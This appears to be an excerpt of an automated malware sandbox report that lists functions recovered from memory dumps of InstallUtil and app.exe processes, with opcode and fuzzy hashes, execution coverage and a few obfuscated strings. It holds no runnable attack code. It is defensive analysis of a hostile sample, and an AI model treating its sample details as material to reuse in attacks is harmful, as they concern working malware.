String ID:
API String ID:
Opcode ID: 3f20548104b9ea2f73c0758aa305a15a14303ba053ace4ee70918aff5793e935
Instruction ID: 3649b7cf0c89da512ca9807729723f8b60e2104b4dcca68f67ed82e4a7bfec3e
Opcode Fuzzy Hash: 3f20548104b9ea2f73c0758aa305a15a14303ba053ace4ee70918aff5793e935
Instruction Fuzzy Hash: EEB15B70E042098FDF10CFA9D8817DDBBF1EF89314F248569D859E7294EBB49886CB91

Function 00BA935C Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34b4f155a33707b59119ed708af883c85595c1e427795f6e2e50af7f9f0b42f8
Instruction ID: 27d6579563c3031abbf15198d68bc2cae68d994e9fedb38a2db743347adf4c93
Opcode Fuzzy Hash: 34b4f155a33707b59119ed708af883c85595c1e427795f6e2e50af7f9f0b42f8
Instruction Fuzzy Hash: A1915F34A042048FDB14DF69D594AADBBF2FF89310F2484A5E806E73A5DB35DD42DB50

Function 00BA10C8 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cdbb626d6194b568dd78a8ea9c47d092b02aa4ae18a27fa1f2b8d444956b2fe
Instruction ID: adfebd4a764128c059d21e40a79a6ffe8c7c52fe3b216598f15e5458d16a4013
Opcode Fuzzy Hash: 2cdbb626d6194b568dd78a8ea9c47d092b02aa4ae18a27fa1f2b8d444956b2fe
Instruction Fuzzy Hash: 57613D3110A2859FD706FB38FD909857FB1EB9E304745CBABC0448B23BDB28594ACB95

Function 00BA6CD4 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9314db662634f45e987906acb279e2fffae131b26c701a9eaa93a07ee4513c6f
Instruction ID: a9bfbb1375714c5ef14ae4b58cb4d6be2fdc1fc299bd8825d74a175a8e0dc0bd
Opcode Fuzzy Hash: 9314db662634f45e987906acb279e2fffae131b26c701a9eaa93a07ee4513c6f
Instruction Fuzzy Hash: 445135B4E042188FDB14CFA9C884B9DBBF1FF49314F188169E859AB390D774A845CF95

Function 00BA6CE0 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f0fded010e963feb93bad6e5e434a0f995d9555beaf448b27a7b41af9b2ad32
Instruction ID: 0c1d2382e76726d608bc0fca6591cde828a4c3ac7667a9790d155a98955a009a
Opcode Fuzzy Hash: 4f0fded010e963feb93bad6e5e434a0f995d9555beaf448b27a7b41af9b2ad32
Instruction Fuzzy Hash: B95123B4E042188FDB18CFA9C884B9DBBF1FF49314F18816AE859AB350D774A845CF95

Function 00BA96D8 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c10a18b6655b8153a4588b1c1750e62e306bf2e3a5824ba25b0d31038627051a
Instruction ID: c87b47d6be40e1bf8ebf284aae94b1e6275fc59ec6aff679650a3b8e62a13986
Opcode Fuzzy Hash: c10a18b6655b8153a4588b1c1750e62e306bf2e3a5824ba25b0d31038627051a
Instruction Fuzzy Hash: 38417E34B142068BDB249F68D89076FB7F6EB86350F20487AD51ADB280DA34DC86D792

Function 00BA1138 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cf30e44afd4e5acfc9d71b597eccf555823280d60ef208bcaa74e04e64e9d33
Instruction ID: 06d8e8c6e80c56397dbf29aa8b0b1df154ac9ab4e9afa684528627fcba8f66b9
Opcode Fuzzy Hash: 9cf30e44afd4e5acfc9d71b597eccf555823280d60ef208bcaa74e04e64e9d33
Instruction Fuzzy Hash: 6251A735202149AFC706FB78FD919597BB1E79E304385CB6AD0044B33EDB686A4ACB90

Function 00BAF1A8 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 986f860d2ca027a61ec105e0b3acba4a4bab79efbf76ef3dd426d2d9ba6eefd8
Instruction ID: e27cd68d10aa41d627c17ff9fb3cd2211fcd212778c7457488c006c1af7c621d
Opcode Fuzzy Hash: 986f860d2ca027a61ec105e0b3acba4a4bab79efbf76ef3dd426d2d9ba6eefd8
Instruction Fuzzy Hash: 26316D34E006069BDB15DFA4D4946AEB7F2FF8A310F148569E816E7794EB74EC42CB40

Function 00BA26D5 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a43dff9c4e0860b9519d3a2f24844c2a329b1a60f5a17ac5f493f54678307c6
Instruction ID: ee419ada53ab15aac439e785fd8c5179c99315c8f0bc7c538c12297e08b03cc4
Opcode Fuzzy Hash: 4a43dff9c4e0860b9519d3a2f24844c2a329b1a60f5a17ac5f493f54678307c6
Instruction Fuzzy Hash: DF4101B0D04249DFDB14DFA9C480ADEBFF5FF49310F208029E809AB264DB75A945CB90

Function 00BAF1B8 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4886859ff74979478bd84d8ca103419c8a380b131fb403a72e44f7d0f4d26584
Instruction ID: 27b869ba50423b7bc2e759afb3caaa1185f6285b08651beab876011f4d77491d
Opcode Fuzzy Hash: 4886859ff74979478bd84d8ca103419c8a380b131fb403a72e44f7d0f4d26584
Instruction Fuzzy Hash: 9C316934E0060A9BDB19CFA4D4546AEB7F2EF89300F14C569E806E7794EB70EC42CB40

Function 00BA26E0 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea6c7bd67689c91839e9f344a09eec16edfdf08e5658f7bd372d80335ec5b8f9
Instruction ID: 2f47e6b3b9c13c488e820280813ce637feead6283ac0c1a21b24b1c4975e0970
Opcode Fuzzy Hash: ea6c7bd67689c91839e9f344a09eec16edfdf08e5658f7bd372d80335ec5b8f9
Instruction Fuzzy Hash: 0441EFB0D04249DFDB14DFA9C484ADEBFF5FF48310F20802AE809AB254DB75A985CB90

Function 00BA137F Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 098fff9946ec361246e05dc4f0f8767248d9f23bca407517183e6f98ea7bb96f
Instruction ID: 0554d98e522e7a464030d76ac7be0972d1bee709a12f3c1a6a124085c1c7a676
Opcode Fuzzy Hash: 098fff9946ec361246e05dc4f0f8767248d9f23bca407517183e6f98ea7bb96f
Instruction Fuzzy Hash: 0A31D2706052019FEF616B3CE44875D37E5E74B314F008EA6E00ACB795DA388C8A8B95

Function 00BA9248 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e22c379cda865b23423c0a910c4259d00821556cfefc6dbc834922630fe2f3ad
Instruction ID: 53aa71ddb2397aeb60a3a55342b665631cabebeb75a393ec5fa7d3059da29075
Opcode Fuzzy Hash: e22c379cda865b23423c0a910c4259d00821556cfefc6dbc834922630fe2f3ad
Instruction Fuzzy Hash: EC314C31E04249ABDF15CFA5D49479EB7B2FF8A304F14C659E405AB380EBB19946CB90

Function 00BA9258 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fb600ec83b501ad41f0506ee3fd53bd0fcbf0c43e57fe21f08bffdc8e59ee90
Instruction ID: b5181029d9f2343283cce6285b387be3206da0743ff98d2e17441023a9a6484f
Opcode Fuzzy Hash: 5fb600ec83b501ad41f0506ee3fd53bd0fcbf0c43e57fe21f08bffdc8e59ee90
Instruction Fuzzy Hash: A5213E30E042499BDF15CFA5D44469EB7F2FF8A304F14C655E405AB390EB719846CB90

Function 00BA16A0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcf801163939869c2a36e130c18eee257e37635d30a41a0b10c1aaca7e76cff6
Instruction ID: 19785eb488fd64df1579e3f5374ba216d47b9af3e45710600176a9de8234e703
Opcode Fuzzy Hash: dcf801163939869c2a36e130c18eee257e37635d30a41a0b10c1aaca7e76cff6
Instruction Fuzzy Hash: EE2153786041019FEF52EB7CE84475977A5EB5A304F10DF66D00ACB269DB38DC4A8B91

Function 00B0D3EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109178640.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b0d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3febadcb089301261f686834214c834f734c839f3e3a463ce5a2fe42c1556f89
Instruction ID: 992313eaa0b9ab3679a3a80fae93d44e0186adf814d09cfc22a1cf10b3ce49df
Opcode Fuzzy Hash: 3febadcb089301261f686834214c834f734c839f3e3a463ce5a2fe42c1556f89
Instruction Fuzzy Hash: 1C21F571504204EFDB05DF94D9C0B2ABFA5FB94324F24C6A9E9094B3D6C336E856C6A1

Function 00BA9148 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82cd1c894d8426db944b8fd35816271198a66e5ac80c77bfe0dea11d17f77dff
Instruction ID: 1c434404d928e9c0390a427b8718a321d5a08022604aa390597c53b742c27f69
Opcode Fuzzy Hash: 82cd1c894d8426db944b8fd35816271198a66e5ac80c77bfe0dea11d17f77dff
Instruction Fuzzy Hash: 0F219531E0420A9BDB19CF64C8545DEF7F2EF46304F20855AE815FB350DB709846CB51

Function 00BA1879 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ace8ab2f05eb51d862e928b7c8bfa8b2eeee89c03ce0b817854448b7f90d60c1
Instruction ID: 4f970199b087c3de51c188d4a1c167729a2278edf1f380d6be480254a991c4ef
Opcode Fuzzy Hash: ace8ab2f05eb51d862e928b7c8bfa8b2eeee89c03ce0b817854448b7f90d60c1
Instruction Fuzzy Hash: D5218130608205CFDB64EB78C5647AE77F5EF4E305F1009A9D106EB2A1DB369C02CB95

Function 00B1D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109238650.0000000000B1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b1d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a7d583816b0923bf85e14badb66d2f1379edc2ee628831a104e8679da353c7e
Instruction ID: b3cc67646b0bad030fbac5abae0e29e81635444db8c294a2da54c661ea3561aa
Opcode Fuzzy Hash: 9a7d583816b0923bf85e14badb66d2f1379edc2ee628831a104e8679da353c7e
Instruction Fuzzy Hash: 99210475604200DFCB14DF14D9D8B66BFA5FB88314F60C5ADD80A4B296C33BD887CA61

Function 00BA9A28 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5960fc9e28db4a1a2e6949414da042c07a65c90bd85c1d5f4b0cda030f6a3321
Instruction ID: aa4511669cbc93050f33b86e91b289c14a3e7b77919b98cdbeab7e7b3a997bd2
Opcode Fuzzy Hash: 5960fc9e28db4a1a2e6949414da042c07a65c90bd85c1d5f4b0cda030f6a3321
Instruction Fuzzy Hash: 1521A431B141158FDB14DB69C954BAE7BF6FF89710F1080A6E505EB3A0DAB1DC008B90

Function 00BA9158 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d373bdc3b64e0e849b6bfd8bbf65c2d62ceddaa8d008ac0f9dcca1eeab6170e
Instruction ID: 69c7f6c1133a3f874caf0fe5a0aeabe8627db5496132819c317e416151ea89e7
Opcode Fuzzy Hash: 8d373bdc3b64e0e849b6bfd8bbf65c2d62ceddaa8d008ac0f9dcca1eeab6170e
Instruction Fuzzy Hash: F2215331E0420AABDB19CFA5C85469EB7F2EF8A304F20855AE815FB350DB70AC46CB51

Function 00BA1888 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 526a8ba2552ac8fec1716b7614c431f675db9193bda5e764d13d8e38b258cb67
Instruction ID: 738ef3414bc1a4ede196f774ba287bc38b8a505de8d5754b2c744db34531cedd
Opcode Fuzzy Hash: 526a8ba2552ac8fec1716b7614c431f675db9193bda5e764d13d8e38b258cb67
Instruction Fuzzy Hash: C7215E307042058FDB64EB78C5247AE77F6EB4E304F2009A9D106EB354DB369D42CBA5

Function 00BA16B0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 906168f6d0b503cf088d9ec6d46deacfe0d9b886d8ba323faf46a080469b30e5
Instruction ID: 71fdc413846671099b7430b84768ea329e05850446eb4c417198df0a59a1c45d
Opcode Fuzzy Hash: 906168f6d0b503cf088d9ec6d46deacfe0d9b886d8ba323faf46a080469b30e5
Instruction Fuzzy Hash: C42133786441019FEF52EB3CE884B5977A5E75A304F10DF66D00AC7369DB38DC8A8B91

Function 00B1D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109238650.0000000000B1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b1d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 919a3ac4d9bf4f1663b9877426d39368cc5e773e9f2db99026aaff31a18efb69
Instruction ID: cea0d4757914b77496eefe0d787927304518d41f587b02a537736adf3fb278e2
Opcode Fuzzy Hash: 919a3ac4d9bf4f1663b9877426d39368cc5e773e9f2db99026aaff31a18efb69
Instruction Fuzzy Hash: EB21A7755083809FCB02CF14D994711BFB1FB5A314F24C5DAD8498F2A7C33A9846CB62

Function 00BA0838 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d591ef8819fe6ed7568a6f3b87bea2d6566f393e31896918cce05b512865b68
Instruction ID: 107184a695ee892a5f04355a14373e061612d9c66cc39534871ebfd741fdb1a3
Opcode Fuzzy Hash: 4d591ef8819fe6ed7568a6f3b87bea2d6566f393e31896918cce05b512865b68
Instruction Fuzzy Hash: 1E11E331B282049FEF217B78D85036E77E5EB43314F158ABAD002DB386DA68DC854BD9

Function 00BA0848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79b84d38b2a27758b765aac08c352cfd3573c583442f82cc0afe69577b6955ad
Instruction ID: 6e100ace5aff80dc5ab891f61f2dd146f2cbede68c66b8185c3d0f44fa7e8d3b
Opcode Fuzzy Hash: 79b84d38b2a27758b765aac08c352cfd3573c583442f82cc0afe69577b6955ad
Instruction Fuzzy Hash: E811C130B282048FEF507B78D44432E72E5EB47310F208ABAD002DF345DA69DD868BD9

Function 00BA17C2 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3993e00f1d6ad2de713bb55e00104dbf4a31b51b866801982335318b7625c857
Instruction ID: fbf24628619538efdc59e5877928612853d6bc536cc8e163a34fd55af8f0820b
Opcode Fuzzy Hash: 3993e00f1d6ad2de713bb55e00104dbf4a31b51b866801982335318b7625c857
Instruction Fuzzy Hash: B211E375F002059FCB50AB7C980865E7BEAEB89710F104965DA46C3340E7348C16CB85

Function 00BA148A Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44b5b91726a6b6503cdc43df0b9b3306dd6f805391332cac1b5bbeb73e3cdc68
Instruction ID: b82e684e62a3f905636eb23bb2dddad27760e48a643ae3baa1137b69b2a6057f
Opcode Fuzzy Hash: 44b5b91726a6b6503cdc43df0b9b3306dd6f805391332cac1b5bbeb73e3cdc68
Instruction Fuzzy Hash: 70119170E083159FCB61FFBC94411ADBBE5EB4A310F2448BAD406E7311DA35CC428B91

Function 00B0D3E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109178640.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b0d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 0c609222001c08b302939aa68f1734ab9fcbfbbd4f868f928f07c8f8a34e11b7
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 9E11B476504244DFCB05CF54D5C4B1ABFB2FB94324F24C5A9D9090B796C336D45ACBA1

Function 00BA1498 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f4bbe6e885cdbb918548bb1827b94306202afc1be2392a94b26c0dd799f4a88
Instruction ID: 89f441ce330f944dcf43f160168e4db764f007cc8c2d78874d6e9d2a1a9f400d
Opcode Fuzzy Hash: 6f4bbe6e885cdbb918548bb1827b94306202afc1be2392a94b26c0dd799f4a88
Instruction Fuzzy Hash: 3F012D71E042159FCF61EFBC84511AEBBE5EB4A350F2448BAD805E7301EA36DD418BA1

Function 00BA9890 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bef6efde25bd5455c63d1fbc9d027f2a60bfae2fc3d0a64fe790278c518fdcc4
Instruction ID: 69bf7ea49d70385f9182c915198be6635366e1d94eabff654a3b9441adaf97bb
Opcode Fuzzy Hash: bef6efde25bd5455c63d1fbc9d027f2a60bfae2fc3d0a64fe790278c518fdcc4
Instruction Fuzzy Hash: 73019230A001048FCB04DF59D98478ABBE6FF85310F5485B5C84C5B29AEB70ED46C7A1

Function 00BA80E8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cdd7d277d1e0fab5005b27c551e6519d86e2958ab385360514f28d72879c27d
Instruction ID: 65b1626781754a2e96df571f8883a7266c885b26d841cafccb5d72bac009cddb
Opcode Fuzzy Hash: 1cdd7d277d1e0fab5005b27c551e6519d86e2958ab385360514f28d72879c27d
Instruction Fuzzy Hash: 0F012174900109EFDF01EBB4F94168D7BB5EB45344B1086BAC40497269EB316E478741

Function 00BA7088 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afcb1a89b657f9b81476022e9070b21cf72ff152124888848e7a46471fd06331
Instruction ID: 4ca5e95e94c019caab4fdb6d739918f53527b9d3468c73d38ee15a1521b35ad2
Opcode Fuzzy Hash: afcb1a89b657f9b81476022e9070b21cf72ff152124888848e7a46471fd06331
Instruction Fuzzy Hash: B0F03739B40108CFCB14EB74D5A8B6D73B2EF88715F1084A9E6068B3A0DB35AD43CB41

Function 00BA80F8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc2c0cec8c4d1f5318eccb4e6dae1b93d1668cb6bd8d003a7f56d2c3916654da
Instruction ID: f2061af0420b50dc24e3fa19a447a0afe4fce5a710aa75786ef0f61054459923
Opcode Fuzzy Hash: bc2c0cec8c4d1f5318eccb4e6dae1b93d1668cb6bd8d003a7f56d2c3916654da
Instruction Fuzzy Hash: F3F0E634950109FFDB01FBB8F94199DBBB5EB44304F1087B9C40557259EB316E468791

Analysis Process: app.exePID: 5844, Parent PID: 2196COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	99
Total number of Limit Nodes:	5

Executed Functions

Function 066015DF Relevance: 7.0, Strings: 4, Instructions: 1954
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 066017F2
7[;!, xrefs: 06601EF0
TJcq, xrefs: 066016ED
$^q, xrefs: 0660179B

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID: 7[;!$TJcq$$^q$$^q
API String ID: 0-1206969336
Opcode ID: d62ba5cfdc6c77527affa34fa34cc85d607f98b9433a53e2ada435da5369b370
Instruction ID: c0f2576f113db9d2633c31d7161b04602b27e18279ad73115badbbfa673f35fb
Opcode Fuzzy Hash: d62ba5cfdc6c77527affa34fa34cc85d607f98b9433a53e2ada435da5369b370
Instruction Fuzzy Hash: E713B276600114AFDB4A9F94DD48E99BBB3FF4D314B0680D4E609AB276C732D962EF40

Function 06607478 Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

Te^q, xrefs: 0660753D

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: e232b9939f7aa3d7860ae935e0476e7e8e75aa1351a37fa4f35493c02bf26f1d
Instruction ID: 3f153b772248f4d4821d6cc690f0e68783b8a6d29ebf015aae999f1f2d425a5a
Opcode Fuzzy Hash: e232b9939f7aa3d7860ae935e0476e7e8e75aa1351a37fa4f35493c02bf26f1d
Instruction Fuzzy Hash: 2AA1BA74E05218CFEB58DFA9D884B9EBFB6FB49300F10906AD409A7395DB306946CF50

Function 0660746A Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

Te^q, xrefs: 0660753D

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 126a7df95a1bec31226ed1cb329e61994e9d9c1685971416e8667f865f497afe
Instruction ID: 3d180e227e89ecf1572369dd5dca05be564c2a0956a271ed9ec4345a22ed1fd3
